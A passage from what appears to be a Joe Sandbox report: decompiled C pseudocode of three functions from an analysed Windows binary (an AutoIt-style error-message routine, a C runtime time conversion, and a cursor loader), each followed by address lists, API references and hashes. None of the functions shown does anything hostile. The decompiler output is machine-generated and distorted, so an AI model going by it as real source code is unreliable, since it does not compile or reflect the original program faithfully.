				intOrPtr _t72;
				void* _t73;
				int _t74;
				WCHAR* _t85;
				void* _t98;
				void* _t99;
				void* _t106;

				_t106 = __fp0;
				_t82 = __edx;
				_t30 = E00425210(0x2048);
				_t72 = _a8268;
				_t101 = _t72;
				if(_t72 > 0) {
					_t74 =  *0x4a8ec8; // 0x66
					LoadStringW(GetModuleHandleW(0), _t74,  &_a72, 0xfff);
					_t85 =  &_a72;
					E00401B70(_t72, _t85,  &_a56, _t101);
					LoadStringW(GetModuleHandleW(0), _a8272, _t85, 0xfff);
					E00401B70(_t72, _t85,  &_a40, _t101);
					_t98 = E00437A81(_t72);
					_t40 = E00437A4D(_t72);
					_t95 = _t40;
					_a12 = _t40;
					_t73 = E00437AA7(E00437ACA(_t72));
					_t102 = _t73;
					if(_t73 != 0) {
						_push(_t73);
						_t82 =  &_a72;
						E0041353A( &_a72, _t85, _t95,  &_a72, L"Line %d  (File \"%s\"):\n\n", _t95);
						_t99 = _t99 + 0x10;
					} else {
						E0041353A(_t82, _t85, _t95, _t85, L"Line %d:\n\n", _t95);
						_t99 = _t99 + 0xc;
					}
					_t96 =  &_a4;
					E00401B70(_t73,  &_a72,  &_a4, _t102);
					E0040D330( &_a4, _t73, _t98, _t106);
					E0040D330(_t96, _t73, "\n", _t106);
					E0040C060( &_a24, _t102);
					_t89 = _a8276;
					if(_a8276 >= 0) {
						_t62 = E004021E0( &_a24, _t73, _t82, _t98);
						_t96 =  &_a20;
						E0040C740(_t62 | 0xffffffff, _t89,  &_a20);
						E0040D330( &_a20, _t73, L"^ ERROR", _t106);
						E0040C140( &_v0, _t106, _t96);
						E0040D330( &_v4, _t73, "\n", _t106);
					}
					E0040D330( &_a4, _t73, L"\nError: ", _t106);
					E0040C140( &_a4, _t106,  &_a40);
					_t105 =  *0x4a8e83;
					if( *0x4a8e83 == 0) {
						MessageBoxW(0, _a4, _a56, 0x11010);
					} else {
						_push(_a24);
						_push(_t98);
						_push(_a40);
						_push(_a20);
						_push(_t73);
						_push(L"%s (%d) : ==> %s: \n%s \n%s\n");
						E00413E5C(_t73, _a24, L"\nError: ", _t96, _t105);
						_t99 = _t99 + 0x18;
					}
					E00402620( &_a24);
					E00402620( &_a4);
					E00402620( &_a40);
					_t30 = E00402620( &_a56);
				}
				return _t30;
			}



















                                                                                                                                                                            0x0045ffa9
                                                                                                                                                                            0x0045ffa9
                                                                                                                                                                            0x0045ffae
                                                                                                                                                                            0x0045ffb4
                                                                                                                                                                            0x0045ffbe
                                                                                                                                                                            0x0045ffc0
                                                                                                                                                                            0x0045ffc6
                                                                                                                                                                            0x0045ffe2
                                                                                                                                                                            0x0045ffe8
                                                                                                                                                                            0x0045fff0
                                                                                                                                                                            0x00460008
                                                                                                                                                                            0x00460012
                                                                                                                                                                            0x0046001e
                                                                                                                                                                            0x00460020
                                                                                                                                                                            0x00460025
                                                                                                                                                                            0x00460028
                                                                                                                                                                            0x00460037
                                                                                                                                                                            0x00460039
                                                                                                                                                                            0x0046003b
                                                                                                                                                                            0x0046004e
                                                                                                                                                                            0x00460050
                                                                                                                                                                            0x0046005a
                                                                                                                                                                            0x0046005f
                                                                                                                                                                            0x0046003d
                                                                                                                                                                            0x00460044
                                                                                                                                                                            0x00460049
                                                                                                                                                                            0x00460049
                                                                                                                                                                            0x00460066
                                                                                                                                                                            0x0046006a
                                                                                                                                                                            0x00460073
                                                                                                                                                                            0x0046007f
                                                                                                                                                                            0x00460088
                                                                                                                                                                            0x0046008d
                                                                                                                                                                            0x00460096
                                                                                                                                                                            0x0046009d
                                                                                                                                                                            0x004600a5
                                                                                                                                                                            0x004600a9
                                                                                                                                                                            0x004600b5
                                                                                                                                                                            0x004600bf
                                                                                                                                                                            0x004600cd
                                                                                                                                                                            0x004600cd
                                                                                                                                                                            0x004600db
                                                                                                                                                                            0x004600e9
                                                                                                                                                                            0x004600ee
                                                                                                                                                                            0x004600f5
                                                                                                                                                                            0x00460128
                                                                                                                                                                            0x004600f7
                                                                                                                                                                            0x00460103
                                                                                                                                                                            0x00460104
                                                                                                                                                                            0x00460105
                                                                                                                                                                            0x00460106
                                                                                                                                                                            0x00460107
                                                                                                                                                                            0x00460108
                                                                                                                                                                            0x0046010d
                                                                                                                                                                            0x00460112
                                                                                                                                                                            0x00460112
                                                                                                                                                                            0x00460132
                                                                                                                                                                            0x0046013b
                                                                                                                                                                            0x00460144
                                                                                                                                                                            0x0046014d
                                                                                                                                                                            0x0046014d
                                                                                                                                                                            0x0046015c

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetModuleHandleW.KERNEL32(00000000,00000066,?,00000FFF,00000010,00000001,?,?,0042B612,?,0000138C,?), ref: 0045FFDF
                                                                                                                                                                            • LoadStringW.USER32(00000000), ref: 0045FFE2
                                                                                                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                            • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF), ref: 00460005
                                                                                                                                                                            • LoadStringW.USER32(00000000), ref: 00460008
                                                                                                                                                                            • __swprintf.LIBCMT ref: 00460044
                                                                                                                                                                            • __swprintf.LIBCMT ref: 0046005A
                                                                                                                                                                            • _printf.LIBCMT ref: 0046010D
                                                                                                                                                                            • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00460128
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: HandleLoadModuleString__swprintf$Message_printf_wcslen
                                                                                                                                                                            • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                                                                                                                                                            • API String ID: 854838916-2268648507
                                                                                                                                                                            • Opcode ID: d131afe01bef7d604ef0403978ef947642338712f0d7c9429f9fe5520d4bb3a8
                                                                                                                                                                            • Instruction ID: 0e9330d7d0b9242c9e80199b401c022c35ae601b49b5efd40222309959f2d96d
                                                                                                                                                                            • Opcode Fuzzy Hash: d131afe01bef7d604ef0403978ef947642338712f0d7c9429f9fe5520d4bb3a8
                                                                                                                                                                            • Instruction Fuzzy Hash: B541D271504305ABC200FB61CC46E6F77A9AFC4748F00093EB544771A2EA78AE0A8B6A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00415C25 Relevance: 22.7, APIs: 15, Instructions: 236COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 72%
                                                                                                                                                                            			E00415C25(void* __ecx, intOrPtr __edx) {
				intOrPtr _t58;
				intOrPtr _t60;
				intOrPtr _t62;
				intOrPtr _t64;
				intOrPtr _t67;
				void* _t68;
				intOrPtr _t70;
				void* _t71;
				intOrPtr _t73;
				intOrPtr _t78;
				intOrPtr _t86;
				intOrPtr _t93;
				intOrPtr* _t99;
				void* _t100;
				intOrPtr _t102;
				void* _t106;
				void* _t107;
				void* _t108;
				intOrPtr _t109;
				intOrPtr _t112;
				intOrPtr _t123;
				intOrPtr* _t126;
				intOrPtr _t127;
				void* _t130;
				void* _t132;
				void* _t134;
				signed int _t135;
				signed int _t136;
				intOrPtr* _t139;
				intOrPtr _t141;
				void* _t142;
				void* _t144;

				_t123 = __edx;
				_t147 = __ecx - 0x93406fff;
				if(__ecx <= 0x93406fff) {
					L00420A73(__edx, _t126, _t139, __eflags);
					_t58 = E00420D46(__edx, _t126, _t142 - 8);
					_pop(_t106);
					__eflags = _t58;
					if(__eflags != 0) {
						_push(_t100);
						_push(_t100);
						_push(_t100);
						_push(_t100);
						_push(_t100);
						E00417D93(_t106, __edx, _t126, _t139, __eflags);
						_t144 = _t144 + 0x14;
					}
					_t60 = E00420D7F(_t123, _t126, _t142 - 0xc);
					_pop(_t107);
					__eflags = _t60;
					if(__eflags != 0) {
						_push(_t100);
						_push(_t100);
						_push(_t100);
						_push(_t100);
						_push(_t100);
						E00417D93(_t107, _t123, _t126, _t139, __eflags);
						_t144 = _t144 + 0x14;
					}
					_t62 = E00420DB8(_t123, _t126, _t142 - 4);
					_pop(_t108);
					__eflags = _t62;
					if(__eflags != 0) {
						_push(_t100);
						_push(_t100);
						_push(_t100);
						_push(_t100);
						_push(_t100);
						E00417D93(_t108, _t123, _t126, _t139, __eflags);
					}
					_t63 =  *((intOrPtr*)(_t142 + 0xc));
					_t109 =  *((intOrPtr*)( *((intOrPtr*)(_t142 + 0xc)) + 4));
					__eflags = _t109 - _t100;
					_t127 =  *_t126;
					if(__eflags < 0) {
						L17:
						_t64 = E00420B03(_t123, _t139, _t63);
						__eflags = _t64 - _t100;
						if(_t64 == _t100) {
							__eflags =  *((intOrPtr*)(_t142 - 8)) - _t100;
							if(__eflags == 0) {
								L21:
								asm("cdq");
								_t102 = _t123;
								asm("cdq");
								_t130 =  *_t139 -  *((intOrPtr*)(_t142 - 4));
								asm("sbb ebx, edx");
							} else {
								_push(_t139);
								_t86 = E00420AC2(_t100, _t123, _t127, _t139, __eflags);
								__eflags = _t86;
								if(_t86 == 0) {
									goto L21;
								} else {
									asm("cdq");
									 *((intOrPtr*)(_t142 + 8)) = _t123;
									asm("cdq");
									_t130 =  *_t139 -  *((intOrPtr*)(_t142 - 4)) +  *((intOrPtr*)(_t142 - 0xc));
									_t102 = _t123;
									asm("sbb ebx, ecx");
									 *((intOrPtr*)(_t139 + 0x20)) = 1;
								}
							}
							_t67 = E00420EC0(_t130, _t102, 0x3c, 0);
							 *_t139 = _t67;
							__eflags = _t67;
							if(_t67 < 0) {
								_t130 = _t130 + 0xffffffc4;
								 *_t139 = _t67 + 0x3c;
								asm("adc ebx, 0xffffffff");
							}
							_t68 = E00420E10(_t130, _t102, 0x3c, 0);
							_t103 = _t123;
							asm("cdq");
							_t132 = _t68 +  *((intOrPtr*)(_t139 + 4));
							asm("adc ebx, edx");
							_t70 = E00420EC0(_t132, _t123, 0x3c, 0);
							 *((intOrPtr*)(_t139 + 4)) = _t70;
							__eflags = _t70;
							if(_t70 < 0) {
								_t132 = _t132 + 0xffffffc4;
								 *((intOrPtr*)(_t139 + 4)) = _t70 + 0x3c;
								asm("adc ebx, 0xffffffff");
							}
							_t71 = E00420E10(_t132, _t103, 0x3c, 0);
							_t104 = _t123;
							asm("cdq");
							_t134 = _t71 +  *((intOrPtr*)(_t139 + 8));
							asm("adc ebx, edx");
							_t73 = E00420EC0(_t134, _t123, 0x18, 0);
							 *((intOrPtr*)(_t139 + 8)) = _t73;
							__eflags = _t73;
							if(_t73 < 0) {
								_t134 = _t134 + 0xffffffe8;
								 *((intOrPtr*)(_t139 + 8)) = _t73 + 0x18;
								asm("adc ebx, 0xffffffff");
							}
							_t112 = E00420E10(_t134, _t104, 0x18, 0);
							__eflags = _t123;
							if(__eflags < 0) {
								L39:
								_t41 =  *(_t139 + 0x18) + 7; // 0x7
								asm("cdq");
								_t135 = 7;
								 *((intOrPtr*)(_t139 + 0xc)) =  *((intOrPtr*)(_t139 + 0xc)) + _t112;
								_t78 =  *((intOrPtr*)(_t139 + 0xc));
								 *(_t139 + 0x18) = (_t112 + _t41) % _t135;
								__eflags = _t78;
								if(_t78 > 0) {
									goto L32;
								} else {
									 *((intOrPtr*)(_t139 + 0x1c)) =  *((intOrPtr*)(_t139 + 0x1c)) + _t112 + 0x16d;
									 *((intOrPtr*)(_t139 + 0x14)) =  *((intOrPtr*)(_t139 + 0x14)) - 1;
									 *((intOrPtr*)(_t139 + 0xc)) = _t78 + 0x1f;
									 *((intOrPtr*)(_t139 + 0x10)) = 0xb;
									goto L33;
								}
								goto L35;
							} else {
								if(__eflags > 0) {
									L31:
									asm("cdq");
									_t136 = 7;
									_t34 = _t139 + 0xc;
									 *_t34 =  *((intOrPtr*)(_t139 + 0xc)) + _t112;
									__eflags =  *_t34;
									 *(_t139 + 0x18) = ( *(_t139 + 0x18) + _t112) % _t136;
									L32:
									_t37 = _t139 + 0x1c;
									 *_t37 =  *((intOrPtr*)(_t139 + 0x1c)) + _t112;
									__eflags =  *_t37;
								} else {
									__eflags = _t112;
									if(_t112 <= 0) {
										__eflags = _t123;
										if(__eflags > 0) {
											goto L33;
										} else {
											if(__eflags < 0) {
												goto L39;
											} else {
												__eflags = _t112;
												if(_t112 >= 0) {
													goto L33;
												} else {
													goto L39;
												}
											}
										}
										L35:
										return _t64;
									} else {
										goto L31;
									}
								}
							}
							goto L33;
						}
					} else {
						if(__eflags > 0) {
							L12:
							asm("cdq");
							_t138 = _t127 -  *((intOrPtr*)(_t142 - 4));
							asm("sbb ecx, edx");
							 *((intOrPtr*)(_t142 - 0x14)) = _t127 -  *((intOrPtr*)(_t142 - 4));
							 *((intOrPtr*)(_t142 - 0x10)) = _t109;
							_t64 = E00420B03(_t123, _t139, _t142 - 0x14);
							__eflags = _t64 - _t100;
							if(_t64 == _t100) {
								__eflags =  *((intOrPtr*)(_t142 - 8)) - _t100;
								if(__eflags == 0) {
									L33:
									_t64 = 0;
									__eflags = 0;
								} else {
									_push(_t139);
									_t93 = E00420AC2(_t100, _t123, _t138, _t139, __eflags);
									__eflags = _t93;
									if(_t93 == 0) {
										goto L33;
									} else {
										asm("cdq");
										 *((intOrPtr*)(_t142 - 0x14)) =  *((intOrPtr*)(_t142 - 0x14)) -  *((intOrPtr*)(_t142 - 0xc));
										asm("sbb [ebp-0x10], edx");
										_t64 = E00420B03(_t123, _t139, _t142 - 0x14);
										__eflags = _t64 - _t100;
										if(_t64 == _t100) {
											 *((intOrPtr*)(_t139 + 0x20)) = 1;
											goto L33;
										}
									}
								}
							}
						} else {
							__eflags = _t127 - 0x3f480;
							if(_t127 <= 0x3f480) {
								goto L17;
							} else {
								goto L12;
							}
						}
					}
				} else {
					_t99 = E00417F23(_t147);
					_t141 = 0x16;
					 *_t99 = _t141;
					_t64 = _t141;
				}
				goto L35;
			}



































                                                                                                                                                                            0x00415c25
                                                                                                                                                                            0x00415c25
                                                                                                                                                                            0x00415c2b
                                                                                                                                                                            0x00415c3e
                                                                                                                                                                            0x00415c47
                                                                                                                                                                            0x00415c4c
                                                                                                                                                                            0x00415c4d
                                                                                                                                                                            0x00415c4f
                                                                                                                                                                            0x00415c51
                                                                                                                                                                            0x00415c52
                                                                                                                                                                            0x00415c53
                                                                                                                                                                            0x00415c54
                                                                                                                                                                            0x00415c55
                                                                                                                                                                            0x00415c56
                                                                                                                                                                            0x00415c5b
                                                                                                                                                                            0x00415c5b
                                                                                                                                                                            0x00415c62
                                                                                                                                                                            0x00415c67
                                                                                                                                                                            0x00415c68
                                                                                                                                                                            0x00415c6a
                                                                                                                                                                            0x00415c6c
                                                                                                                                                                            0x00415c6d
                                                                                                                                                                            0x00415c6e
                                                                                                                                                                            0x00415c6f
                                                                                                                                                                            0x00415c70
                                                                                                                                                                            0x00415c71
                                                                                                                                                                            0x00415c76
                                                                                                                                                                            0x00415c76
                                                                                                                                                                            0x00415c7d
                                                                                                                                                                            0x00415c82
                                                                                                                                                                            0x00415c83
                                                                                                                                                                            0x00415c85
                                                                                                                                                                            0x00415c87
                                                                                                                                                                            0x00415c88
                                                                                                                                                                            0x00415c89
                                                                                                                                                                            0x00415c8a
                                                                                                                                                                            0x00415c8b
                                                                                                                                                                            0x00415c8c
                                                                                                                                                                            0x00415c91
                                                                                                                                                                            0x00415c94
                                                                                                                                                                            0x00415c97
                                                                                                                                                                            0x00415c9a
                                                                                                                                                                            0x00415c9c
                                                                                                                                                                            0x00415c9e
                                                                                                                                                                            0x00415d0e
                                                                                                                                                                            0x00415d10
                                                                                                                                                                            0x00415d17
                                                                                                                                                                            0x00415d19
                                                                                                                                                                            0x00415d1f
                                                                                                                                                                            0x00415d22
                                                                                                                                                                            0x00415d56
                                                                                                                                                                            0x00415d58
                                                                                                                                                                            0x00415d5e
                                                                                                                                                                            0x00415d60
                                                                                                                                                                            0x00415d61
                                                                                                                                                                            0x00415d63
                                                                                                                                                                            0x00415d24
                                                                                                                                                                            0x00415d24
                                                                                                                                                                            0x00415d25
                                                                                                                                                                            0x00415d2b
                                                                                                                                                                            0x00415d2d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00415d2f
                                                                                                                                                                            0x00415d37
                                                                                                                                                                            0x00415d3c
                                                                                                                                                                            0x00415d41
                                                                                                                                                                            0x00415d44
                                                                                                                                                                            0x00415d49
                                                                                                                                                                            0x00415d4b
                                                                                                                                                                            0x00415d4d
                                                                                                                                                                            0x00415d4d
                                                                                                                                                                            0x00415d2d
                                                                                                                                                                            0x00415d6b
                                                                                                                                                                            0x00415d70
                                                                                                                                                                            0x00415d72
                                                                                                                                                                            0x00415d74
                                                                                                                                                                            0x00415d79
                                                                                                                                                                            0x00415d7c
                                                                                                                                                                            0x00415d7e
                                                                                                                                                                            0x00415d7e
                                                                                                                                                                            0x00415d87
                                                                                                                                                                            0x00415d91
                                                                                                                                                                            0x00415d93
                                                                                                                                                                            0x00415d96
                                                                                                                                                                            0x00415d9a
                                                                                                                                                                            0x00415d9e
                                                                                                                                                                            0x00415da3
                                                                                                                                                                            0x00415da6
                                                                                                                                                                            0x00415da8
                                                                                                                                                                            0x00415dad
                                                                                                                                                                            0x00415db0
                                                                                                                                                                            0x00415db3
                                                                                                                                                                            0x00415db3
                                                                                                                                                                            0x00415dbc
                                                                                                                                                                            0x00415dc6
                                                                                                                                                                            0x00415dc8
                                                                                                                                                                            0x00415dcb
                                                                                                                                                                            0x00415dcf
                                                                                                                                                                            0x00415dd3
                                                                                                                                                                            0x00415dd8
                                                                                                                                                                            0x00415ddb
                                                                                                                                                                            0x00415ddd
                                                                                                                                                                            0x00415de2
                                                                                                                                                                            0x00415de5
                                                                                                                                                                            0x00415de8
                                                                                                                                                                            0x00415de8
                                                                                                                                                                            0x00415df6
                                                                                                                                                                            0x00415df8
                                                                                                                                                                            0x00415dfa
                                                                                                                                                                            0x00415e27
                                                                                                                                                                            0x00415e2a
                                                                                                                                                                            0x00415e2e
                                                                                                                                                                            0x00415e31
                                                                                                                                                                            0x00415e34
                                                                                                                                                                            0x00415e37
                                                                                                                                                                            0x00415e3a
                                                                                                                                                                            0x00415e3d
                                                                                                                                                                            0x00415e3f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00415e41
                                                                                                                                                                            0x00415e47
                                                                                                                                                                            0x00415e4d
                                                                                                                                                                            0x00415e50
                                                                                                                                                                            0x00415e53
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00415e53
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00415dfc
                                                                                                                                                                            0x00415dfc
                                                                                                                                                                            0x00415e02
                                                                                                                                                                            0x00415e09
                                                                                                                                                                            0x00415e0a
                                                                                                                                                                            0x00415e0d
                                                                                                                                                                            0x00415e0d
                                                                                                                                                                            0x00415e0d
                                                                                                                                                                            0x00415e10
                                                                                                                                                                            0x00415e13
                                                                                                                                                                            0x00415e13
                                                                                                                                                                            0x00415e13
                                                                                                                                                                            0x00415e13
                                                                                                                                                                            0x00415dfe
                                                                                                                                                                            0x00415dfe
                                                                                                                                                                            0x00415e00
                                                                                                                                                                            0x00415e1d
                                                                                                                                                                            0x00415e1f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00415e21
                                                                                                                                                                            0x00415e21
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00415e23
                                                                                                                                                                            0x00415e23
                                                                                                                                                                            0x00415e25
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00415e25
                                                                                                                                                                            0x00415e21
                                                                                                                                                                            0x00415e19
                                                                                                                                                                            0x00415e1c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00415e00
                                                                                                                                                                            0x00415dfc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00415dfa
                                                                                                                                                                            0x00415ca0
                                                                                                                                                                            0x00415ca0
                                                                                                                                                                            0x00415caa
                                                                                                                                                                            0x00415cad
                                                                                                                                                                            0x00415cae
                                                                                                                                                                            0x00415cb4
                                                                                                                                                                            0x00415cb7
                                                                                                                                                                            0x00415cba
                                                                                                                                                                            0x00415cbd
                                                                                                                                                                            0x00415cc4
                                                                                                                                                                            0x00415cc6
                                                                                                                                                                            0x00415ccc
                                                                                                                                                                            0x00415ccf
                                                                                                                                                                            0x00415e16
                                                                                                                                                                            0x00415e16
                                                                                                                                                                            0x00415e16
                                                                                                                                                                            0x00415cd5
                                                                                                                                                                            0x00415cd5
                                                                                                                                                                            0x00415cd6
                                                                                                                                                                            0x00415cdc
                                                                                                                                                                            0x00415cde
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00415ce4
                                                                                                                                                                            0x00415ce7
                                                                                                                                                                            0x00415ce8
                                                                                                                                                                            0x00415cef
                                                                                                                                                                            0x00415cf3
                                                                                                                                                                            0x00415cfa
                                                                                                                                                                            0x00415cfc
                                                                                                                                                                            0x00415d02
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00415d02
                                                                                                                                                                            0x00415cfc
                                                                                                                                                                            0x00415cde
                                                                                                                                                                            0x00415ccf
                                                                                                                                                                            0x00415ca2
                                                                                                                                                                            0x00415ca2
                                                                                                                                                                            0x00415ca8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00415ca8
                                                                                                                                                                            0x00415ca0
                                                                                                                                                                            0x00415c2d
                                                                                                                                                                            0x00415c2d
                                                                                                                                                                            0x00415c34
                                                                                                                                                                            0x00415c35
                                                                                                                                                                            0x00415c37
                                                                                                                                                                            0x00415c37
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __get_daylight__invoke_watson$__gmtime64_s$__getptd_noexit
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1481289235-0
                                                                                                                                                                            • Opcode ID: 0c2ddcf2cfad548662a25bd64df7f8cdb197bd458fe0989c9b03f034f06c5664
                                                                                                                                                                            • Instruction ID: 11750150b5911b8a2d77b888e51b7102539fbc40f42687a9f62e69b5342e6946
                                                                                                                                                                            • Opcode Fuzzy Hash: 0c2ddcf2cfad548662a25bd64df7f8cdb197bd458fe0989c9b03f034f06c5664
                                                                                                                                                                            • Instruction Fuzzy Hash: 8461B372B00B15DBD724AB69DC81AEB73E99F84324F14452FF011D7682EB78DA808B58
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00433BAC Relevance: 22.6, APIs: 15, Instructions: 79COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00433BAC(struct HICON__* _a4) {
				signed int _t19;

				_t19 = _a4;
				if(_t19 > 0x10) {
					L16:
					_a4 = LoadCursorW(0, 0x7f00);
					goto ( *0x482518);
				}
				switch( *((intOrPtr*)(_t19 * 4 +  &M00433D18))) {
					case 0:
						_a4 = LoadCursorW(0, 0x7f89);
						goto ( *0x482518);
					case 1:
						_a4 = LoadCursorW(0, 0x7f8a);
						goto ( *0x482518);
					case 2:
						goto L16;
					case 3:
						_a4 = LoadCursorW(0, 0x7f03);
						goto ( *0x482518);
					case 4:
						_a4 = LoadCursorW(0, 0x7f8b);
						goto ( *0x482518);
					case 5:
						_a4 = LoadCursorW(0, 0x7f01);
						goto ( *0x482518);
					case 6:
						_a4 = LoadCursorW(0, 0x7f88);
						goto ( *0x482518);
					case 7:
						_a4 = LoadCursorW(0, 0x7f86);
						goto ( *0x482518);
					case 8:
						_a4 = LoadCursorW(0, 0x7f83);
						goto ( *0x482518);
					case 9:
						_a4 = LoadCursorW(0, 0x7f85);
						goto ( *0x482518);
					case 0xa:
						_a4 = LoadCursorW(0, 0x7f82);
						goto ( *0x482518);
					case 0xb:
						_a4 = LoadCursorW(0, 0x7f84);
						goto ( *0x482518);
					case 0xc:
						_a4 = LoadCursorW(0, 0x7f04);
						goto ( *0x482518);
					case 0xd:
						_a4 = LoadCursorW(0, 0x7f02);
						goto ( *0x482518);
					case 0xe:
						_a4 = LoadCursorW(0, 0);
						goto ( *0x482518);
				}
			}




                                                                                                                                                                            0x00433bac
                                                                                                                                                                            0x00433bb3
                                                                                                                                                                            0x00433cff
                                                                                                                                                                            0x00433d0c
                                                                                                                                                                            0x00433d10
                                                                                                                                                                            0x00433d10
                                                                                                                                                                            0x00433bb9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00433bcd
                                                                                                                                                                            0x00433bd1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00433be4
                                                                                                                                                                            0x00433be8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00433bfb
                                                                                                                                                                            0x00433bff
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00433c12
                                                                                                                                                                            0x00433c16
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00433c29
                                                                                                                                                                            0x00433c2d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00433c40
                                                                                                                                                                            0x00433c44
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00433c57
                                                                                                                                                                            0x00433c5b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00433c6e
                                                                                                                                                                            0x00433c72
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00433c85
                                                                                                                                                                            0x00433c89
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00433c9c
                                                                                                                                                                            0x00433ca0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00433cb3
                                                                                                                                                                            0x00433cb7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00433cca
                                                                                                                                                                            0x00433cce
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00433ce1
                                                                                                                                                                            0x00433ce5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00433cf5
                                                                                                                                                                            0x00433cf9
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • LoadCursorW.USER32(00000000,00007F89), ref: 00433BC7
                                                                                                                                                                            • LoadCursorW.USER32(00000000,00007F8A), ref: 00433BDE
                                                                                                                                                                            • LoadCursorW.USER32(00000000,00007F03), ref: 00433BF5
                                                                                                                                                                            • LoadCursorW.USER32(00000000,00007F8B), ref: 00433C0C
                                                                                                                                                                            • LoadCursorW.USER32(00000000,00007F01), ref: 00433C23
                                                                                                                                                                            • LoadCursorW.USER32(00000000,00007F88), ref: 00433C3A
                                                                                                                                                                            • LoadCursorW.USER32(00000000,00007F86), ref: 00433C51
                                                                                                                                                                            • LoadCursorW.USER32(00000000,00007F83), ref: 00433C68
                                                                                                                                                                            • LoadCursorW.USER32(00000000,00007F85), ref: 00433C7F
                                                                                                                                                                            • LoadCursorW.USER32(00000000,00007F82), ref: 00433C96
                                                                                                                                                                            • LoadCursorW.USER32(00000000,00007F84), ref: 00433CAD
                                                                                                                                                                            • LoadCursorW.USER32(00000000,00007F04), ref: 00433CC4
                                                                                                                                                                            • LoadCursorW.USER32(00000000,00007F02), ref: 00433CDB
                                                                                                                                                                            • LoadCursorW.USER32(00000000,00000000), ref: 00433CEF
